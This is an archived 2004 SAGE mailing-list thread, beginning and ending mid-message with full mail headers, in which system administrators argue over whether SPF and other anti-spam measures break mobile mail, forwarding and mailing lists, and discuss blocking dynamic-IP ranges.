2004 17:06:18 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i1316Axe058477; Mon, 2 Feb 2004 20:06:12 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040202230545.GH21320@darkuncle.net> References: <20040202230545.GH21320@darkuncle.net> Date: Tue, 3 Feb 2004 01:33:25 +0100 To: Scott Francis From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 3:05 PM -0800 2004/02/02, Scott Francis wrote: > If > doesn't impact the former much (from the perspective of the > average user), and _does_ reduce the latter, then the users > will vote with their dollars. The problem is that more and more proposals are impacting their ability to have something that "just works", while not appreciably reducing spam. We're getting to the point where we have cowboys using thermonuclear weapons to carve up the meat, and they don't seem to care that there isn't anything of value left after they get done. > When AOL starts losing customers due to SPF adoption or any > other technical measure, I will start believing what Brad and > some others have been saying. When you have had multiple people personally blame you for the failure of their respective businesses (due to your anti-spam efforts) and you get your name put on one of the "kill an abortion doctor" type of public lists, I imagine that you will change your tune. If not, you may not get a chance to change it posthumously. Yes, spam really is getting so bad that people really are going e-postal, and some of those death threats should really be taken seriously. If you're implementing any anti-spam measures, it would be in your best interests to make sure that you are absolutely squeaky clean and that you make a point of avoiding any proposed techniques that have too high a risk of collateral damage. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Mon Feb 2 17:39:32 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131dWcH029407 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:39:32 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i131dVv7029406 for sage-members-outgoing; Mon, 2 Feb 2004 17:39:31 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131dUcG029401 for ; Mon, 2 Feb 2004 17:39:30 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i131dSiL006151 for ; Mon, 2 Feb 2004 17:39:28 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 470792288A; Mon, 2 Feb 2004 17:39:28 -0800 (PST) Date: Mon, 2 Feb 2004 17:39:28 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203013928.GC69255@bitshift.org> References: <20040202230545.GH21320@darkuncle.net> <20040203000548.GY69255@bitshift.org> <20040203011625.GA29385@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203011625.GA29385@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 5:36PM up 230 days, 20:46, 14 users, load averages: 0.00, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, Feb 02, 2004 at 05:16:25PM -0800, Scott Francis wrote: > > I submit that most of the complaint about SPF and other proposed solutions > breaking things comes from sysadmins who object to anybody placing any kind > of restraint on them in any way, rather than from real complaints from users. I submit that, at this extremely early stage in the game, it's the sysadmins who're going to object, because SPF hasn't been deployed ( widely enough | at all, for any meaningful value of "all" ) for it to impact users yet. If you're using the argument (and it seems you are) that "we should disregard the complaints of clueful people, because it's only clueful people complaining", then I object strenuously, on the grounds I just outlined. Once SPF is having a negative impact on users, it'll be too late. The pebbles cannot vote once the avalanche has started. Hence, the complaints now, early and often. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Mon Feb 2 17:52:35 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131qZcH000167 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:52:35 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i131qZGj000165 for sage-members-outgoing; Mon, 2 Feb 2004 17:52:35 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131qWcH000155 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:52:33 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i131Zr2j014476 for ; Mon, 2 Feb 2004 17:35:53 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i131ZqLd014196 for sage-members@usenix.org; Mon, 2 Feb 2004 17:35:52 -0800 (PST) Date: Mon, 2 Feb 2004 17:35:52 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203013552.GI29385@darkuncle.net> Mail-Followup-To: sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Feb 02, 2004 at 04:05:48PM -0800, mark@bitshift.org said: > On Mon, Feb 02, 2004 at 03:05:46PM -0800, Scott Francis wrote: > > Users don't care about inability to send mail from > > their laptop on the road, or their phone, or any other kind of technical > > limitation. > > ...until they're on the road, on their phone, or up against any other > kind of technical limitation. Then they raise six kinds of hell, and > blame you for not having the foresight for anticipating these problems > when you proposed your brilliant new solution, and > Iexpectyoutohavethisworkingbycloseofbusinesstodaythisisunacceptable. > > Sound familiar? If it doesn't, you're one of the lucky, lucky few. perhaps next time you'll do me the courtesy of not quoting me out of context. What I said was, "Users don't care about inability to send mail from their laptop on the road, or their phone, or any other kind of technical limitation. They also don't care how we work around it. They only care that they can send mail, and that they don't have to deal with a flood of useless crap in their inbox every day." Users don't care about technical limitations, /as long as they can do whatever it is they wanted to do/. Most generic users don't even understand what a technical limitation is (I'm wearing the ISP hat here, not the internal IT business support hat, although businesses certainly have their share of clueless users) - they just want to be able to mail their grandkids and receive pictures of them without having to wade through a 20:1 ratio of spam to real mail. Business users want the same thing, with some additions (like mobile mail) that ISP-level users usually don't care about. However, business users don't want to wade through spam either, and when the CEO finally gets enough, she will decree that the problem go away, and implementation is then up to us. She's not going to care if SPF or other solutions offend our technical sensibilities as long as those solutions decrease the spam, and she can still do what she did before. I submit that most of the complaint about SPF and other proposed solutions breaking things comes from sysadmins who object to anybody placing any kind of restraint on them in any way, rather than from real complaints from users. Implementing SPF isn't, for instance, going to make your blackberry stop working. The composition of the Internet is changing, and we had better be ready to change with it, before we lose any say we have left in how these changes play out. It's not sufficient anymore to simply reject proposed solutions out of hand because they may have one or two technical flaws - users are rapidly losing patience with the spam issue, and if we do not come up with a solution, be it technically perfect or not, they will come up with one for us. And none of us want that. > -- > Mark C. Langston Sr. Unix SysAdmin > mark@bitshift.org mark@seti.org > Systems & Network Admin SETI Institute > http://bitshift.org http://www.seti.org - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAHvrtWaB7jFU39ScRAtdfAJ9a6ao3WrTSFulQ26YYNsGue/dZ9gCgsuyz I6ktlIAFGPUjM/dtZoXUBdU= =bhLI -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Mon Feb 2 17:52:37 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131qacH000185 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:52:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i131qa6H000179 for sage-members-outgoing; Mon, 2 Feb 2004 17:52:36 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131qXcH000156 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:52:34 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i131Yk2j016758; Mon, 2 Feb 2004 17:34:46 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i131Yk99031106; Mon, 2 Feb 2004 17:34:46 -0800 (PST) Date: Mon, 2 Feb 2004 17:34:46 -0800 From: Scott Francis To: "Mark C. Langston" Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203013446.GH29385@darkuncle.net> Mail-Followup-To: "Mark C. Langston" , sage-members@usenix.org References: <20040202230545.GH21320@darkuncle.net> <20040203000548.GY69255@bitshift.org> <20040203011625.GA29385@darkuncle.net> <20040203013928.GC69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203013928.GC69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Feb 02, 2004 at 05:39:28PM -0800, mark@bitshift.org said: > On Mon, Feb 02, 2004 at 05:16:25PM -0800, Scott Francis wrote: > > > > I submit that most of the complaint about SPF and other proposed solutions > > breaking things comes from sysadmins who object to anybody placing any kind > > of restraint on them in any way, rather than from real complaints from users. > > I submit that, at this extremely early stage in the game, it's the > sysadmins who're going to object, because SPF hasn't been deployed ( > widely enough | at all, for any meaningful value of "all" ) for it to > impact users yet. > > If you're using the argument (and it seems you are) that "we should > disregard the complaints of clueful people, because it's only clueful > people complaining", then I object strenuously, on the grounds I just > outlined. > > Once SPF is having a negative impact on users, it'll be too late. The > pebbles cannot vote once the avalanche has started. oddly enough, that's exactly the same point I was trying to make. :) The users will start the avalanche unless we start it first, and I think critical mass is coming pretty soon (witness Congress, long representative of slow-acting bodies worldwide, passing a spam law (albeit a useless one)). > Hence, the complaints now, early and often. definitely - complain and discuss, but with an eye towards a solution sooner rather than later. Time grows short. - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAHvqzWaB7jFU39ScRAiWCAKCEPYmxqMgpXFzROJeR8mCv2PypaQCguq1e WzVqgRTgfIGhHgfLJ2FMDfg= =67VB -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Mon Feb 2 17:53:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131rKcH000285 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:53:20 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i131rKnB000284 for sage-members-outgoing; Mon, 2 Feb 2004 17:53:20 -0800 (PST) Received: from tiderace.darkuncle.net (tiderace.darkuncle.net [66.180.198.181]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131rHcH000269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:53:17 -0800 (PST) Received: from tiderace.darkuncle.net (sfrancis@localhost.darkuncle.net [127.0.0.1]) by tiderace.darkuncle.net (8.12.9/8.12.9) with ESMTP id i131ab2j025063 for ; Mon, 2 Feb 2004 17:36:37 -0800 (PST) Received: (from sfrancis@localhost) by tiderace.darkuncle.net (8.12.9/8.12.9/Submit) id i131abab031245 for sage-members@usenix.org; Mon, 2 Feb 2004 17:36:37 -0800 (PST) Date: Mon, 2 Feb 2004 17:36:37 -0800 From: Scott Francis To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203013636.GJ29385@darkuncle.net> Mail-Followup-To: sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Operating-System: OpenBSD X-PGP-Fingerprint: 7429 F75D D3F5 FA45 C6D7 D25B 59A0 7B8C 5537 F527 X-PGP-Key: http://darkuncle.net/pubkey.asc X-PGP-Notice: encryption subkey 2048g/0CEFEA3C has been revoked - please use 2048R/18A88182 instead (available at above URL) X-What-Happen: Somebody set up us the bomb. Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tue, Feb 03, 2004 at 01:33:25AM +0100, brad.knowles@skynet.be said: > At 3:05 PM -0800 2004/02/02, Scott Francis wrote: > > > If > > doesn't impact the former much (from the perspective of the > > average user), and _does_ reduce the latter, then the users > > will vote with their dollars. > > The problem is that more and more proposals are impacting their > ability to have something that "just works", while not appreciably > reducing spam. We're getting to the point where we have cowboys > using thermonuclear weapons to carve up the meat, and they don't seem > to care that there isn't anything of value left after they get done. how does inability to send mobile email, or utilize .forward, or aliases-based mailing lists, affect the average ISP user? Answer: the average ISP user can't even spell ".forward". The complaints raised are more based on what will affect the complainant (usually technically sophisticated folks who've been involved in building this Internet thing), than on what is likely to be noticed in any way by the vast majority of users. > > When AOL starts losing customers due to SPF adoption or any > > other technical measure, I will start believing what Brad and > > some others have been saying. > > When you have had multiple people personally blame you for the > failure of their respective businesses (due to your anti-spam > efforts) and you get your name put on one of the "kill an abortion > doctor" type of public lists, I imagine that you will change your > tune. Naturally, there are wrong ways to implement anything. My point is that we can no longer afford to simply reject proposed solutions out of hand and start over every time. Users are rapidly losing patience (admittedly, this is based on my own limited sampling data, consisting mainly of my technically unsophisticated family and friends), and if we do not do something to improve things quickly, users are likely to go, en masse, to whatever solution first receives wide public attention. Like, say, Bill's pay-for-email plan. Or SPF (if AOL starts publicizing it). Or SPEWS. Point being, _now_ is the time to come up with a solution, before the uninformed public makes the choice for us (and the odds of them making a good choice are pretty slim). > If not, you may not get a chance to change it posthumously. > > Yes, spam really is getting so bad that people really are going > e-postal, and some of those death threats should really be taken > seriously. If you're implementing any anti-spam measures, it would > be in your best interests to make sure that you are absolutely > squeaky clean and that you make a point of avoiding any proposed > techniques that have too high a risk of collateral damage. It's been my experience that folks are more likely to lost it over the flood of spam than they are over the occasional lost mail, or the inability to send mail from their phones (how many non-technical users do you know that use this feature, really?). Again, I'm looking at the average user here, not the audience that will be reading this email. (I'd also like to add that I consider my own length and breadth of experience to be vastly inferior to pretty much everybody else on this list, Brad and Mark in particular. While I do disagree with them on this point, I hold their opinions, and experience, in the highest respect.) - -- Scott Francis | darkuncle(at)darkuncle(dot)net | 0x5537F527 "I gave you the chance of aiding me willingly, but you have elected the way of pain!" -- Saruman, speaking for sysadmins everywhere -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (OpenBSD) iD8DBQFAHvsiWaB7jFU39ScRApVrAKCjmfHevlzZL2B1/xTTooWYoe2pagCfbR0x gFavG85gCT5A8vgQYxt/FbM= =UCgG -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Mon Feb 2 17:59:19 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131xJcH001460 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 17:59:19 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i131xJBL001458 for sage-members-outgoing; Mon, 2 Feb 2004 17:59:19 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i131xHcG001453 for ; Mon, 2 Feb 2004 17:59:17 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i131xFiL011903 for ; Mon, 2 Feb 2004 17:59:15 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 6040522887; Mon, 2 Feb 2004 17:59:15 -0800 (PST) Date: Mon, 2 Feb 2004 17:59:15 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203015915.GF69255@bitshift.org> References: <20040202230545.GH21320@darkuncle.net> <20040203000548.GY69255@bitshift.org> <20040203011625.GA29385@darkuncle.net> <20040203013928.GC69255@bitshift.org> <20040203013446.GH29385@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203013446.GH29385@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 5:55PM up 230 days, 21:05, 14 users, load averages: 0.20, 0.11, 0.03 Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, Feb 02, 2004 at 05:34:46PM -0800, Scott Francis wrote: > On Mon, Feb 02, 2004 at 05:39:28PM -0800, mark@bitshift.org said: > > > > Once SPF is having a negative impact on users, it'll be too late. The > > pebbles cannot vote once the avalanche has started. > > oddly enough, that's exactly the same point I was trying to make. :) The > users will start the avalanche unless we start it first, and I think critical > mass is coming pretty soon (witness Congress, long representative of > slow-acting bodies worldwide, passing a spam law (albeit a useless one)). But that's at odds with your statement, which I paraphrase here: "Users don't care about the technicalities of the solution". Thus, they cannot dictate same (ignoring that they have no direct hand in said technicalities for the moment, just for the sake of the point). By the way, Congress already passed an anti-spam law. It took effect Jan 1, 2004. > > > Hence, the complaints now, early and often. > > definitely - complain and discuss, but with an eye towards a solution sooner > rather than later. Time grows short. A poor solution is no solution at all. Be liberal in what you receive; conservative in what you send. It would appear those acting publically in the antispam arena have forgotten this, in favor of the "let a million sores fester" approach. I have no beef with SPF as long as any commercial provider never moves beyond "?all". You and I both know they will. When that happens, things will break, and break spectacularly. And by then, it'll be too late. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Mon Feb 2 18:03:27 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i1323RcH001969 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 18:03:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i1323QQF001968 for sage-members-outgoing; Mon, 2 Feb 2004 18:03:26 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i1323PcG001963 for ; Mon, 2 Feb 2004 18:03:25 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i1323LiL013675 for ; Mon, 2 Feb 2004 18:03:21 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 9BED822887; Mon, 2 Feb 2004 18:03:21 -0800 (PST) Date: Mon, 2 Feb 2004 18:03:21 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203020321.GG69255@bitshift.org> References: <20040203013636.GJ29385@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203013636.GJ29385@darkuncle.net> User-Agent: Mutt/1.4.1i X-Uptime: 5:55PM up 230 days, 21:05, 14 users, load averages: 0.20, 0.11, 0.03 Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, Feb 02, 2004 at 05:36:37PM -0800, Scott Francis wrote: > > how does inability to send mobile email, or utilize .forward, or > aliases-based mailing lists, affect the average ISP user? Answer: the average > ISP user can't even spell ".forward". The complaints raised are more based on > what will affect the complainant (usually technically sophisticated folks > who've been involved in building this Internet thing), than on what is likely > to be noticed in any way by the vast majority of users. How does breaking the burgeoning trend in mobile electronics, the primary means of rerouting mail, and the pre-eminent mailing list software get excused? Again, you seem to be saying that, because only the clueful are complaining, that the complaints are invalid. At this early stage, it's only the clueful that CAN complain. Even were this later in the game, it would still be the clueful complaining at a technical level. True, the users don't see the gears and cogs that make their shiny distractions work. Similarly, they don't have any idea what's going to happen when this particular shoe gets tossed into those gears and cogs. We do. Which is why you're seeing us complain. It's not because we want complete and utter freedom. It's because see myriad ways in which this will make everyone -- from guru to layperson -- upset. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Mon Feb 2 18:22:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i132MEcH002936 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 18:22:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i132MElC002935 for sage-members-outgoing; Mon, 2 Feb 2004 18:22:14 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i132MCcH002927 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 2 Feb 2004 18:22:13 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i132MAFX019268 for ; Mon, 2 Feb 2004 21:22:10 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i132MA5d019765 for sage-members@usenix.org; Mon, 2 Feb 2004 21:22:10 -0500 (EST) Date: Mon, 2 Feb 2004 21:22:10 -0500 From: Chuck Yerkes To: sage-members@usenix.org Subject: DULs and blockage (: [SAGE] The sad and spammy state of virus filters) Message-ID: <20040203022210.GA17075@snew.com> Reply-To: sage-members@usenix.org References: <20040203013552.GI29385@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203013552.GI29385@darkuncle.net> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk I submit that there is no RFC or any rule saying that you may not submit mail with any From: address you want on it. That said, yes, I do block mail from user@yahoo.com that's not coming to me from a yahoo server (or an MX peer of mine). It's wrong, technically, but the payoff is HUGE. Our largest sending envelope From: was yahoo.com. Something like 4 in every thousand actually came from Yahoo - 0.4%. Mostly spammers don't care about the From. They care about the URI inside the message. That's where spam assasssin helps me. What also helps is that comcast/attbi easily let me "see" DSL/cable users to block. I hate to do it. Really. I'm on one of those myself. (I also have a box on a couple T1s that I relay through). I'd love it if there was a COMMON naming convention for these addresses. Hell, have the DHCP server check for windows and slip a WINDOWS into the reverse IP and 98% of my problems are gone. But if I could not accept mail from *.dynamic.*, I'd be in heaven. I'm delighted that Earthlink blocks port 25 outbound. Really. The gain exceeds the loss. What could be the BIGGEST help is a centralized opt in DUL list with the ability to get out. Let the ISPs put in their ranges of customer IPs. If you have a static IP, hit the DUL page, submit it, they can check for stupid, and make yours an exception. If my user is on the road, I can equip her to use AUTH and/or port 587 or VPN to send mail. Thats why we have AUTH - travellers. Me? I have passing thoughts of targetted squads doing harm to spammers, but legitimately, I'll also offer that if the fed (FTC, FBI) actually chased down a few of the folks pushing scams, drugs, etc, that we'd find that MOST of the spam originates in the US (whether or not it comes via asia, russia or whatever) and that there aren't than many originators. I'll also suggest the obvious: someone is buying into it. They're making money. Cutting off the buyer side wouldn't hurt either. From sage-members-owner@usenix.org Mon Feb 2 22:34:34 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i136YYcH009968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 2 Feb 2004 22:34:34 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i136YXfl009967 for sage-members-outgoing; Mon, 2 Feb 2004 22:34:33 -0800 (PST) Received: from peterson.ath.cx (c-24-2-96-137.client.comcast.net [24.2.96.137]) by usenix.org (8.12.10/8.12.10) with ESMTP id i136YWcG009960 for ; Mon, 2 Feb 2004 22:34:32 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by peterson.ath.cx (Postfix) with ESMTP id 26FD75D1C; Mon, 2 Feb 2004 23:34:31 -0700 (MST) Received: from peterson.ath.cx ([127.0.0.1]) by localhost (hud.inet [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 32473-04; Mon, 2 Feb 2004 23:34:20 -0700 (MST) Received: from aurora.peterson.ath.cx (aurora-wl.inet [10.0.3.32]) by peterson.ath.cx (Postfix) with ESMTP id 80C575D0B; Mon, 2 Feb 2004 23:34:20 -0700 (MST) Received: from localhost (localhost [127.0.0.1]) by aurora.peterson.ath.cx (Postfix) with ESMTP id E78C6C50D1; Mon, 2 Feb 2004 23:34:14 -0700 (MST) X-Mailer: exmh version 2.6.3 04/04/2003 with nmh-1.0.4 From: "Jan L. Peterson" X-message-flag: "Outlook not so good." Wow, that magic 8-ball really DOES work! To: Scott Francis Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters X-face: p=61=y<.Il$z+k*y~"j>%c[8R~8{j3WTnaSd-'RyC>t.Ub>AAm\zYA#5JF +W=G?EI+|EI);]=fs_MOfKN0n9`OlmB[1^0;L^64K5][nOb&gv/n}p@mm06|J|WNa asp7mMEw0w)e_6T~7v-\]yHKvI^1}[2k)] References: <20040203013552.GI29385@darkuncle.net> In-reply-to: Your message of "Mon, 02 Feb 2004 17:35:52 PST." <20040203013552.GI29385@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 02 Feb 2004 23:34:14 -0700 Message-Id: <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> X-Virus-Scanned: by amavisd-new at peterson.ath.cx Sender: owner-sage-members@usenix.org Precedence: bulk > She's not going to care if SPF or other solutions offend our technical > sensibilities as long as those solutions decrease the spam, and she > can still do what she did before. ^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Imagine the phone call you get from the CEO when she gets a call from the CEO of a company she's been trying to do a merger with and is told that because she never responded to the e-mailed contract he sent her (which she never got because he mailed it from a local Starbucks and not his corporate e-mail account and it got bounced or discarded), he's decided to do the merger with her biggest competitor instead. -jan- -- Jan L. Peterson Peterson Technologies From sage-members-owner@usenix.org Tue Feb 3 00:18:08 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i138I7cH013123 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 00:18:08 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i138I7iW013121 for sage-members-outgoing; Tue, 3 Feb 2004 00:18:07 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i138I5cH013112 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 00:18:06 -0800 (PST) Received: from 